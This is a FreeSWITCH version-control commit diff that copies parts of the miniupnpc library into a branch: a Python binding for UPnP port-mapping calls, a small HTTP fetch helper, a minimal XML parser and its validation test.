+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+static PyObject *
+UPnP_externalipaddress(UPnPObject *self)
+{
+	char externalIPAddress[16];
+	int r;
+	externalIPAddress[0] = '\0';
+	r = UPNP_GetExternalIPAddress(self->urls.controlURL,
+	                              self->data.servicetype,
+	                              externalIPAddress);
+	if(r==UPNPCOMMAND_SUCCESS) {
+		return Py_BuildValue("s", externalIPAddress);
+	} else {
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+/* AddPortMapping(externalPort, protocol, internalHost, internalPort, desc,
+ *                remoteHost) 
+ * protocol is 'UDP' or 'TCP' */
+static PyObject *
+UPnP_addportmapping(UPnPObject *self, PyObject *args)
+{
+	char extPort[6];
+	unsigned short ePort;
+	char inPort[6];
+	unsigned short iPort;
+	const char * proto;
+	const char * host;
+	const char * desc;
+	const char * remoteHost;
+	int r;
+	if (!PyArg_ParseTuple(args, "HssHss", &ePort, &proto,
+	                                     &host, &iPort, &desc, &remoteHost))
+        return NULL;
+	sprintf(extPort, "%hu", ePort);
+	sprintf(inPort, "%hu", iPort);
+	r = UPNP_AddPortMapping(self->urls.controlURL, self->data.servicetype,
+	                        extPort, inPort, host, desc, proto, remoteHost);
+	if(r==UPNPCOMMAND_SUCCESS)
+	{
+		Py_RETURN_TRUE;
+	}
+	else
+	{
+		// TODO: RAISE an Exception. See upnpcommands.h for errors codes.
+		// upnperrors.c
+		//Py_RETURN_FALSE;
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+/* DeletePortMapping(extPort, proto, removeHost='')
+ * proto = 'UDP', 'TCP' */
+static PyObject *
+UPnP_deleteportmapping(UPnPObject *self, PyObject *args)
+{
+	char extPort[6];
+	unsigned short ePort;
+	const char * proto;
+	const char * remoteHost = "";
+	int r;
+	if(!PyArg_ParseTuple(args, "Hs|z", &ePort, &proto, &remoteHost))
+		return NULL;
+	sprintf(extPort, "%hu", ePort);
+	r = UPNP_DeletePortMapping(self->urls.controlURL, self->data.servicetype,
+	                           extPort, proto, remoteHost);
+	if(r==UPNPCOMMAND_SUCCESS) {
+		Py_RETURN_TRUE;
+	} else {
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+static PyObject *
+UPnP_getportmappingnumberofentries(UPnPObject *self)
+{
+	unsigned int n = 0;
+	int r;
+	r = UPNP_GetPortMappingNumberOfEntries(self->urls.controlURL,
+	                                   self->data.servicetype,
+									   &n);
+	if(r==UPNPCOMMAND_SUCCESS) {
+		return Py_BuildValue("I", n);
+	} else {
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+/* GetSpecificPortMapping(ePort, proto) 
+ * proto = 'UDP' or 'TCP' */
+static PyObject *
+UPnP_getspecificportmapping(UPnPObject *self, PyObject *args)
+{
+	char extPort[6];
+	unsigned short ePort;
+	const char * proto;
+	char intClient[16];
+	char intPort[6];
+	unsigned short iPort;
+	if(!PyArg_ParseTuple(args, "Hs", &ePort, &proto))
+		return NULL;
+	sprintf(extPort, "%hu", ePort);
+	UPNP_GetSpecificPortMappingEntry(self->urls.controlURL,
+	                                 self->data.servicetype,
+									 extPort, proto,
+									 intClient, intPort);
+	if(intClient[0])
+	{
+		iPort = (unsigned short)atoi(intPort);
+		return Py_BuildValue("(s,H)", intClient, iPort);
+	}
+	else
+	{
+		Py_RETURN_NONE;
+	}
+}
+
+/* GetGenericPortMapping(index) */
+static PyObject *
+UPnP_getgenericportmapping(UPnPObject *self, PyObject *args)
+{
+	int i, r;
+	char index[8];
+	char intClient[16];
+	char intPort[6];
+	unsigned short iPort;
+	char extPort[6];
+	unsigned short ePort;
+	char protocol[4];
+	char desc[80];
+	char enabled[6];
+	char rHost[64];
+	char duration[16];	/* lease duration */
+	unsigned int dur;
+	if(!PyArg_ParseTuple(args, "i", &i))
+		return NULL;
+	snprintf(index, sizeof(index), "%d", i);
+	rHost[0] = '\0'; enabled[0] = '\0';
+	duration[0] = '\0'; desc[0] = '\0';
+	extPort[0] = '\0'; intPort[0] = '\0'; intClient[0] = '\0';
+	r = UPNP_GetGenericPortMappingEntry(self->urls.controlURL,
+	                                    self->data.servicetype,
+										index,
+										extPort, intClient, intPort,
+										protocol, desc, enabled, rHost,
+										duration);
+	if(r==UPNPCOMMAND_SUCCESS)
+	{
+		ePort = (unsigned short)atoi(extPort);
+		iPort = (unsigned short)atoi(intPort);
+		dur = (unsigned int)strtoul(duration, 0, 0);
+		return Py_BuildValue("(H,s,(s,H),s,s,s,I)",
+		                     ePort, protocol, intClient, iPort,
+		                     desc, enabled, rHost, dur);
+	}
+	else
+	{
+		Py_RETURN_NONE;
+	}
+}
+
+/* miniupnpc.UPnP object Method Table */
+static PyMethodDef UPnP_methods[] = {
+    {"discover", (PyCFunction)UPnP_discover, METH_NOARGS,
+     "discover UPnP IGD devices on the network"
+    },
+	{"selectigd", (PyCFunction)UPnP_selectigd, METH_NOARGS,
+	 "select a valid UPnP IGD among discovered devices"
+	},
+	{"totalbytesent", (PyCFunction)UPnP_totalbytesent, METH_NOARGS,
+	 "return the total number of bytes sent by UPnP IGD"
+	},
+	{"totalbytereceived", (PyCFunction)UPnP_totalbytereceived, METH_NOARGS,
+	 "return the total number of bytes received by UPnP IGD"
+	},
+	{"totalpacketsent", (PyCFunction)UPnP_totalpacketsent, METH_NOARGS,
+	 "return the total number of packets sent by UPnP IGD"
+	},
+	{"totalpacketreceived", (PyCFunction)UPnP_totalpacketreceived, METH_NOARGS,
+	 "return the total number of packets received by UPnP IGD"
+	},
+	{"statusinfo", (PyCFunction)UPnP_statusinfo, METH_NOARGS,
+	 "return status and uptime"
+	},
+	{"connectiontype", (PyCFunction)UPnP_connectiontype, METH_NOARGS,
+	 "return IGD WAN connection type"
+	},
+	{"externalipaddress", (PyCFunction)UPnP_externalipaddress, METH_NOARGS,
+	 "return external IP address"
+	},
+	{"addportmapping", (PyCFunction)UPnP_addportmapping, METH_VARARGS,
+	 "add a port mapping"
+	},
+	{"deleteportmapping", (PyCFunction)UPnP_deleteportmapping, METH_VARARGS,
+	 "delete a port mapping"
+	},
+	{"getportmappingnumberofentries", (PyCFunction)UPnP_getportmappingnumberofentries, METH_NOARGS,
+	 "-- non standard --"
+	},
+	{"getspecificportmapping", (PyCFunction)UPnP_getspecificportmapping, METH_VARARGS,
+	 "get details about a specific port mapping entry"
+	},
+	{"getgenericportmapping", (PyCFunction)UPnP_getgenericportmapping, METH_VARARGS,
+	 "get all details about the port mapping at index"
+	},
+    {NULL}  /* Sentinel */
+};
+
+static PyTypeObject UPnPType = {
+    PyObject_HEAD_INIT(NULL)
+    0,                         /*ob_size*/
+    "miniupnpc.UPnP",          /*tp_name*/
+    sizeof(UPnPObject),        /*tp_basicsize*/
+    0,                         /*tp_itemsize*/
+    (destructor)UPnPObject_dealloc,/*tp_dealloc*/
+    0,                         /*tp_print*/
+    0,                         /*tp_getattr*/
+    0,                         /*tp_setattr*/
+    0,                         /*tp_compare*/
+    0,                         /*tp_repr*/
+    0,                         /*tp_as_number*/
+    0,                         /*tp_as_sequence*/
+    0,                         /*tp_as_mapping*/
+    0,                         /*tp_hash */
+    0,                         /*tp_call*/
+    0,                         /*tp_str*/
+    0,                         /*tp_getattro*/
+    0,                         /*tp_setattro*/
+    0,                         /*tp_as_buffer*/
+    Py_TPFLAGS_DEFAULT,        /*tp_flags*/
+    "UPnP objects",            /* tp_doc */
+    0,		                   /* tp_traverse */
+    0,		                   /* tp_clear */
+    0,		                   /* tp_richcompare */
+    0,		                   /* tp_weaklistoffset */
+    0,		                   /* tp_iter */
+    0,		                   /* tp_iternext */
+    UPnP_methods,              /* tp_methods */
+    UPnP_members,              /* tp_members */
+    0,                         /* tp_getset */
+    0,                         /* tp_base */
+    0,                         /* tp_dict */
+    0,                         /* tp_descr_get */
+    0,                         /* tp_descr_set */
+    0,                         /* tp_dictoffset */
+    0,/*(initproc)UPnP_init,*/      /* tp_init */
+    0,                         /* tp_alloc */
+#ifndef WIN32
+    PyType_GenericNew,/*UPnP_new,*/      /* tp_new */
+#else
+    0,
+#endif
+};
+
+/* module methods */
+static PyMethodDef miniupnpc_methods[] = {
+    {NULL}  /* Sentinel */
+};
+
+#ifndef PyMODINIT_FUNC	/* declarations for DLL import/export */
+#define PyMODINIT_FUNC void
+#endif
+PyMODINIT_FUNC
+initminiupnpc(void) 
+{
+    PyObject* m;
+
+#ifdef WIN32
+    UPnPType.tp_new = PyType_GenericNew;
+#endif
+    if (PyType_Ready(&UPnPType) < 0)
+        return;
+
+    m = Py_InitModule3("miniupnpc", miniupnpc_methods,
+                       "miniupnpc module.");
+
+    Py_INCREF(&UPnPType);
+    PyModule_AddObject(m, "UPnP", (PyObject *)&UPnPType);
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniupnpcstrings.h

Copied: freeswitch/branches/seven/libs/miniupnpc/miniupnpcstrings.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniupnpcstrings.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniupnpcstrings.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniupnpcstrings.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+/* $Id: miniupnpcstrings.h,v 1.2 2008/10/14 17:39:04 nanard Exp $ */
+/* Project: miniupnp
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * Author: Thomas Bernard
+ * Copyright (c) 2005-2008 Thomas Bernard
+ * This software is subjects to the conditions detailed
+ * in the LICENCE file provided within this distribution */
+#ifndef __MINIUPNPCSTRINGS_H__
+#define __MINIUPNPCSTRINGS_H__
+
+#define OS_STRING "Debian/4.0"
+#define MINIUPNPC_VERSION_STRING "1.2"
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniwget.c

Copied: freeswitch/branches/seven/libs/miniupnpc/miniwget.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniwget.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniwget.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniwget.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,222 @@
+/* $Id: miniwget.c,v 1.22 2009/02/28 10:36:35 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "miniupnpc.h"
+#ifdef WIN32
+#include <winsock2.h>
+#include <io.h>
+#define MAXHOSTNAMELEN 64
+#define MIN(x,y) (((x)<(y))?(x):(y))
+#define snprintf _snprintf
+#define herror
+#define socklen_t int
+#else
+#include <unistd.h>
+#include <sys/param.h>
+#include <sys/socket.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#define closesocket close
+#endif
+#if defined(__sun) || defined(sun)
+#define MIN(x,y) (((x)<(y))?(x):(y))
+#endif
+
+#include "miniupnpcstrings.h"
+
+/* miniwget2() :
+ * */
+static void *
+miniwget2(const char * url, const char * host,
+		  unsigned short port, const char * path,
+		  int * size, char * addr_str, int addr_str_len)
+{
+	char buf[2048];
+    int s;
+	struct sockaddr_in dest;
+	struct hostent *hp;
+	*size = 0;
+	hp = gethostbyname(host);
+	if(hp==NULL)
+	{
+		herror(host);
+		return NULL;
+	}
+	/*  memcpy((char *)&dest.sin_addr, hp->h_addr, hp->h_length);  */
+	memcpy(&dest.sin_addr, hp->h_addr, sizeof(dest.sin_addr));
+	memset(dest.sin_zero, 0, sizeof(dest.sin_zero));
+	s = socket(PF_INET, SOCK_STREAM, 0);
+	if(s < 0)
+	{
+		perror("socket");
+		return NULL;
+	}
+	dest.sin_family = AF_INET;
+	dest.sin_port = htons(port);
+	if(connect(s, (struct sockaddr *)&dest, sizeof(struct sockaddr_in))<0)
+	{
+		perror("connect");
+		closesocket(s);
+		return NULL;
+	}
+
+	/* get address for caller ! */
+	if(addr_str)
+	{
+		struct sockaddr_in saddr;
+		socklen_t len;
+
+		len = sizeof(saddr);
+		getsockname(s, (struct sockaddr *)&saddr, &len);
+#ifndef WIN32
+		inet_ntop(AF_INET, &saddr.sin_addr, addr_str, addr_str_len);
+#else
+	/* using INT WINAPI WSAAddressToStringA(LPSOCKADDR, DWORD, LPWSAPROTOCOL_INFOA, LPSTR, LPDWORD);
+     * But his function make a string with the port :  nn.nn.nn.nn:port */
+/*		if(WSAAddressToStringA((SOCKADDR *)&saddr, sizeof(saddr),
+                            NULL, addr_str, (DWORD *)&addr_str_len))
+		{
+		    printf("WSAAddressToStringA() failed : %d\n", WSAGetLastError());
+		}*/
+		strncpy(addr_str, inet_ntoa(saddr.sin_addr), addr_str_len);
+#endif
+#ifdef DEBUG
+		printf("address miniwget : %s\n", addr_str);
+#endif
+	}
+
+	snprintf(buf, sizeof(buf),
+                 "GET %s HTTP/1.1\r\n"
+			     "Host: %s:%d\r\n"
+				 "Connection: Close\r\n"
+				 "User-Agent: " OS_STRING ", UPnP/1.0, MiniUPnPc/" MINIUPNPC_VERSION_STRING "\r\n"
+
+				 "\r\n",
+		    path, host, port);
+	/*write(s, buf, strlen(buf));*/
+	send(s, buf, strlen(buf), 0);
+	{
+		int n, headers=1;
+		char * respbuffer = NULL;
+		int allreadyread = 0;
+		/*while((n = recv(s, buf, 2048, 0)) > 0)*/
+		while((n = ReceiveData(s, buf, 2048, 5000)) > 0)
+		{
+			if(headers)
+			{
+				int i=0;
+				while(i<n-3)
+				{
+					if(buf[i]=='\r' && buf[i+1]=='\n'
+					   && buf[i+2]=='\r' && buf[i+3]=='\n')
+					{
+						headers = 0;	/* end */
+						if(i<n-4)
+						{
+							respbuffer = (char *)realloc((void *)respbuffer, 
+														 allreadyread+(n-i-4));
+							memcpy(respbuffer+allreadyread, buf + i + 4, n-i-4);
+							allreadyread += (n-i-4);
+						}
+						break;
+					}
+					i++;
+				}
+			}
+			else
+			{
+				respbuffer = (char *)realloc((void *)respbuffer, 
+								 allreadyread+n);
+				memcpy(respbuffer+allreadyread, buf, n);
+				allreadyread += n;
+			}
+		}
+		*size = allreadyread;
+#ifdef DEBUG
+		printf("%d bytes read\n", *size);
+#endif
+		closesocket(s);
+		return respbuffer;
+	}
+}
+
+/* parseURL()
+ * arguments :
+ *   url :		source string not modified
+ *   hostname :	hostname destination string (size of MAXHOSTNAMELEN+1)
+ *   port :		port (destination)
+ *   path :		pointer to the path part of the URL 
+ *
+ * Return values :
+ *    0 - Failure
+ *    1 - Success         */
+int parseURL(const char * url, char * hostname, unsigned short * port, char * * path)
+{
+	char * p1, *p2, *p3;
+	p1 = strstr(url, "://");
+	if(!p1)
+		return 0;
+	p1 += 3;
+	if(  (url[0]!='h') || (url[1]!='t')
+	   ||(url[2]!='t') || (url[3]!='p'))
+		return 0;
+	p2 = strchr(p1, ':');
+	p3 = strchr(p1, '/');
+	if(!p3)
+		return 0;
+	memset(hostname, 0, MAXHOSTNAMELEN + 1);
+	if(!p2 || (p2>p3))
+	{
+		strncpy(hostname, p1, MIN(MAXHOSTNAMELEN, (int)(p3-p1)));
+		*port = 80;
+	}
+	else
+	{
+		strncpy(hostname, p1, MIN(MAXHOSTNAMELEN, (int)(p2-p1)));
+		*port = 0;
+		p2++;
+		while( (*p2 >= '0') && (*p2 <= '9'))
+		{
+			*port *= 10;
+			*port += (unsigned short)(*p2 - '0');
+			p2++;
+		}
+	}
+	*path = p3;
+	return 1;
+}
+
+void * miniwget(const char * url, int * size)
+{
+	unsigned short port;
+	char * path;
+	/* protocol://host:port/chemin */
+	char hostname[MAXHOSTNAMELEN+1];
+	*size = 0;
+	if(!parseURL(url, hostname, &port, &path))
+		return NULL;
+	return miniwget2(url, hostname, port, path, size, 0, 0);
+}
+
+void * miniwget_getaddr(const char * url, int * size, char * addr, int addrlen)
+{
+	unsigned short port;
+	char * path;
+	/* protocol://host:port/chemin */
+	char hostname[MAXHOSTNAMELEN+1];
+	*size = 0;
+	if(addr)
+		addr[0] = '\0';
+	if(!parseURL(url, hostname, &port, &path))
+		return NULL;
+	return miniwget2(url, hostname, port, path, size, addr, addrlen);
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniwget.h

Copied: freeswitch/branches/seven/libs/miniupnpc/miniwget.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniwget.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniwget.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniwget.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+/* $Id: miniwget.h,v 1.5 2007/01/29 20:27:23 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas Bernard
+ * Copyright (c) 2005 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#ifndef __MINIWGET_H__
+#define __MINIWGET_H__
+
+#include "declspec.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+LIBSPEC void * miniwget(const char *, int *);
+
+LIBSPEC void * miniwget_getaddr(const char *, int *, char *, int);
+
+int parseURL(const char *, char *, unsigned short *, char * *);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minixml.c

Copied: freeswitch/branches/seven/libs/miniupnpc/minixml.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/minixml.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minixml.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minixml.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,191 @@
+/* $Id: minixml.c,v 1.6 2007/05/15 18:14:08 nanard Exp $ */
+/* minixml.c : the minimum size a xml parser can be ! */
+/* Project : miniupnp
+ * webpage: http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * Author : Thomas Bernard
+
+Copyright (c) 2005-2007, Thomas BERNARD 
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+    * The name of the author may not be used to endorse or promote products
+	  derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+*/
+#include "minixml.h"
+
+/* parseatt : used to parse the argument list
+ * return 0 (false) in case of success and -1 (true) if the end
+ * of the xmlbuffer is reached. */
+int parseatt(struct xmlparser * p)
+{
+	const char * attname;
+	int attnamelen;
+	const char * attvalue;
+	int attvaluelen;
+	while(p->xml < p->xmlend)
+	{
+		if(*p->xml=='/' || *p->xml=='>')
+			return 0;
+		if( !IS_WHITE_SPACE(*p->xml) )
+		{
+			char sep;
+			attname = p->xml;
+			attnamelen = 0;
+			while(*p->xml!='=' && !IS_WHITE_SPACE(*p->xml) )
+			{
+				attnamelen++; p->xml++;
+				if(p->xml >= p->xmlend)
+					return -1;
+			}
+			while(*(p->xml++) != '=')
+			{
+				if(p->xml >= p->xmlend)
+					return -1;
+			}
+			while(IS_WHITE_SPACE(*p->xml))
+			{
+				p->xml++;
+				if(p->xml >= p->xmlend)
+					return -1;
+			}
+			sep = *p->xml;
+			if(sep=='\'' || sep=='\"')
+			{
+				p->xml++;
+				if(p->xml >= p->xmlend)
+					return -1;
+				attvalue = p->xml;
+				attvaluelen = 0;
+				while(*p->xml != sep)
+				{
+					attvaluelen++; p->xml++;
+					if(p->xml >= p->xmlend)
+						return -1;
+				}
+			}
+			else
+			{
+				attvalue = p->xml;
+				attvaluelen = 0;
+				while(   !IS_WHITE_SPACE(*p->xml)
+					  && *p->xml != '>' && *p->xml != '/')
+				{
+					attvaluelen++; p->xml++;
+					if(p->xml >= p->xmlend)
+						return -1;
+				}
+			}
+			/*printf("%.*s='%.*s'\n",
+			       attnamelen, attname, attvaluelen, attvalue);*/
+			if(p->attfunc)
+				p->attfunc(p->data, attname, attnamelen, attvalue, attvaluelen);
+		}
+		p->xml++;
+	}
+	return -1;
+}
+
+/* parseelt parse the xml stream and
+ * call the callback functions when needed... */
+void parseelt(struct xmlparser * p)
+{
+	int i;
+	const char * elementname;
+	while(p->xml < (p->xmlend - 1))
+	{
+		if((p->xml)[0]=='<' && (p->xml)[1]!='?')
+		{
+			i = 0; elementname = ++p->xml;
+			while( !IS_WHITE_SPACE(*p->xml)
+				  && (*p->xml!='>') && (*p->xml!='/')
+				 )
+			{
+				i++; p->xml++;
+				if (p->xml >= p->xmlend)
+					return;
+				/* to ignore namespace : */
+				if(*p->xml==':')
+				{
+					i = 0;
+					elementname = ++p->xml;
+				}
+			}
+			if(i>0)
+			{
+				if(p->starteltfunc)
+					p->starteltfunc(p->data, elementname, i);
+				if(parseatt(p))
+					return;
+				if(*p->xml!='/')
+				{
+					const char * data;
+					i = 0; data = ++p->xml;
+					if (p->xml >= p->xmlend)
+						return;
+					while( IS_WHITE_SPACE(*p->xml) )
+					{
+						p->xml++;
+						if (p->xml >= p->xmlend)
+							return;
+					}
+					while(*p->xml!='<')
+					{
+						i++; p->xml++;
+						if (p->xml >= p->xmlend)
+							return;
+					}
+					if(i>0 && p->datafunc)
+						p->datafunc(p->data, data, i);
+				}
+			}
+			else if(*p->xml == '/')
+			{
+				i = 0; elementname = ++p->xml;
+				if (p->xml >= p->xmlend)
+					return;
+				while((*p->xml != '>'))
+				{
+					i++; p->xml++;
+					if (p->xml >= p->xmlend)
+						return;
+				}
+				if(p->endeltfunc)
+					p->endeltfunc(p->data, elementname, i);
+				p->xml++;
+			}
+		}
+		else
+		{
+			p->xml++;
+		}
+	}
+}
+
+/* the parser must be initialized before calling this function */
+void parsexml(struct xmlparser * parser)
+{
+	parser->xml = parser->xmlstart;
+	parser->xmlend = parser->xmlstart + parser->xmlsize;
+	parseelt(parser);
+}
+
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minixml.h

Copied: freeswitch/branches/seven/libs/miniupnpc/minixml.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/minixml.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minixml.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minixml.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/* $Id: minixml.h,v 1.6 2006/11/30 11:47:21 nanard Exp $ */
+/* minimal xml parser
+ *
+ * Project : miniupnp
+ * Website : http://miniupnp.free.fr/
+ * Author : Thomas Bernard
+ * Copyright (c) 2005 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided in this distribution.
+ * */
+#ifndef __MINIXML_H__
+#define __MINIXML_H__
+#define IS_WHITE_SPACE(c) ((c==' ') || (c=='\t') || (c=='\r') || (c=='\n'))
+
+/* if a callback function pointer is set to NULL,
+ * the function is not called */
+struct xmlparser {
+	const char *xmlstart;
+	const char *xmlend;
+	const char *xml;	/* pointer to current character */
+	int xmlsize;
+	void * data;
+	void (*starteltfunc) (void *, const char *, int);
+	void (*endeltfunc) (void *, const char *, int);
+	void (*datafunc) (void *, const char *, int);
+	void (*attfunc) (void *, const char *, int, const char *, int);
+};
+
+/* parsexml()
+ * the xmlparser structure must be initialized before the call
+ * the following structure members have to be initialized :
+ * xmlstart, xmlsize, data, *func
+ * xml is for internal usage, xmlend is computed automatically */
+void parsexml(struct xmlparser *);
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/minixmlvalid.c

Copied: freeswitch/branches/seven/libs/miniupnpc/minixmlvalid.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/minixmlvalid.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/minixmlvalid.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/minixmlvalid.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/* $Id: minixmlvalid.c,v 1.2 2006/11/30 11:31:55 nanard Exp $ */
+/* MiniUPnP Project
+ * http://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
+ * minixmlvalid.c :
+ * validation program for the minixml parser
+ *
+ * (c) 2006 Thomas Bernard */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "minixml.h"
+
+/* xml event structure */
+struct event {
+	enum { ELTSTART, ELTEND, ATT, CHARDATA } type;
+	const char * data;
+	int len;
+};
+
+struct eventlist {
+	int n;
+	struct event * events;
+};
+
+/* compare 2 xml event lists
+ * return 0 if the two lists are equals */
+int evtlistcmp(struct eventlist * a, struct eventlist * b)
+{
+	int i;
+	struct event * ae, * be;
+	if(a->n != b->n)
+		return 1;
+	for(i=0; i<a->n; i++)
+	{
+		ae = a->events + i;
+		be = b->events + i;
+		if(  (ae->type != be->type)
+		   ||(ae->len != be->len)
+		   ||memcmp(ae->data, be->data, ae->len))
+		{
+			printf("Found a difference : %d '%.*s' != %d '%.*s'\n",
+			       ae->type, ae->len, ae->data,
+			       be->type, be->len, be->data);
+			return 1;
+		}
+	}
+	return 0;
+}
+
+/* Test data */
+static const char xmldata[] =
+"<xmlroot>\n"
+" <elt1 att1=\"attvalue1\" att2=\"attvalue2\">"
+"character data"
+"</elt1> \n \t"
+"<elt1b/>"
+"<elt2a> \t<elt2b>chardata1</elt2b><elt2b>chardata2</elt2b></elt2a>"
+"</xmlroot>";
+
+static const struct event evtref[] =
+{
+	{ELTSTART, "xmlroot", 7},
+	{ELTSTART, "elt1", 4},
+	/* attributes */
+	{CHARDATA, "character data", 14},
+	{ELTEND, "elt1", 4},
+	{ELTSTART, "elt1b", 5},
+	{ELTSTART, "elt2a", 5},
+	{ELTSTART, "elt2b", 5},
+	{CHARDATA, "chardata1", 9},
+	{ELTEND, "elt2b", 5},
+	{ELTSTART, "elt2b", 5},
+	{CHARDATA, "chardata2", 9},
+	{ELTEND, "elt2b", 5},
+	{ELTEND, "elt2a", 5},
+	{ELTEND, "xmlroot", 7}
+};	
+
+void startelt(void * data, const char * p, int l)
+{
+	struct eventlist * evtlist = data;
+	struct event * evt;
+	evt = evtlist->events + evtlist->n;
+	/*printf("startelt : %.*s\n", l, p);*/
+	evt->type = ELTSTART;
+	evt->data = p;
+	evt->len = l;
+	evtlist->n++;
+}
+
+void endelt(void * data, const char * p, int l)
+{
+	struct eventlist * evtlist = data;
+	struct event * evt;
+	evt = evtlist->events + evtlist->n;
+	/*printf("endelt : %.*s\n", l, p);*/
+	evt->type = ELTEND;
+	evt->data = p;
+	evt->len = l;
+	evtlist->n++;
+}
+
+void chardata(void * data, const char * p, int l)
+{
+	struct eventlist * evtlist = data;
+	struct event * evt;
+	evt = evtlist->events + evtlist->n;
+	/*printf("chardata : '%.*s'\n", l, p);*/
+	evt->type = CHARDATA;
+	evt->data = p;
+	evt->len = l;
+	evtlist->n++;
+}
+
+int testxmlparser(const char * xml, int size)
+{
+	int r;
+	struct eventlist evtlist;
+	struct eventlist evtlistref;
+	struct xmlparser parser;
+	evtlist.n = 0;
+	evtlist.events = malloc(sizeof(struct event)*100);
+	memset(&parser, 0, sizeof(parser));
+	parser.xmlstart = xml;
+	parser.xmlsize = size;
+	parser.data = &evtlist;
+	parser.starteltfunc = startelt;
+	parser.endeltfunc = endelt;
+	parser.datafunc = chardata;
+	parsexml(&parser);
+	printf("%d events\n", evtlist.n);
+	/* compare */
+	evtlistref.n = sizeof(evtref)/sizeof(struct event);
+	evtlistref.events = (struct event *)evtref;
+	r = evtlistcmp(&evtlistref, &evtlist);
+	free(evtlist.events);
+	return r;
+}
+
+int main(int argc, char * * argv)
+{
+	int r;
+	r = testxmlparser(xmldata, sizeof(xmldata)-1);
+	if(r)
+		printf("minixml validation test failed\n");
+	return r;
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/pymoduletest.py

Copied: freeswitch/branches/seven/libs/miniupnpc/pymoduletest.py (from rev 14471, freeswitch/trunk/libs/miniupnpc/pymoduletest.py) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/pymoduletest.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/pymoduletest.py	2009-08-09 18:53:22 UTC (rev 14472)
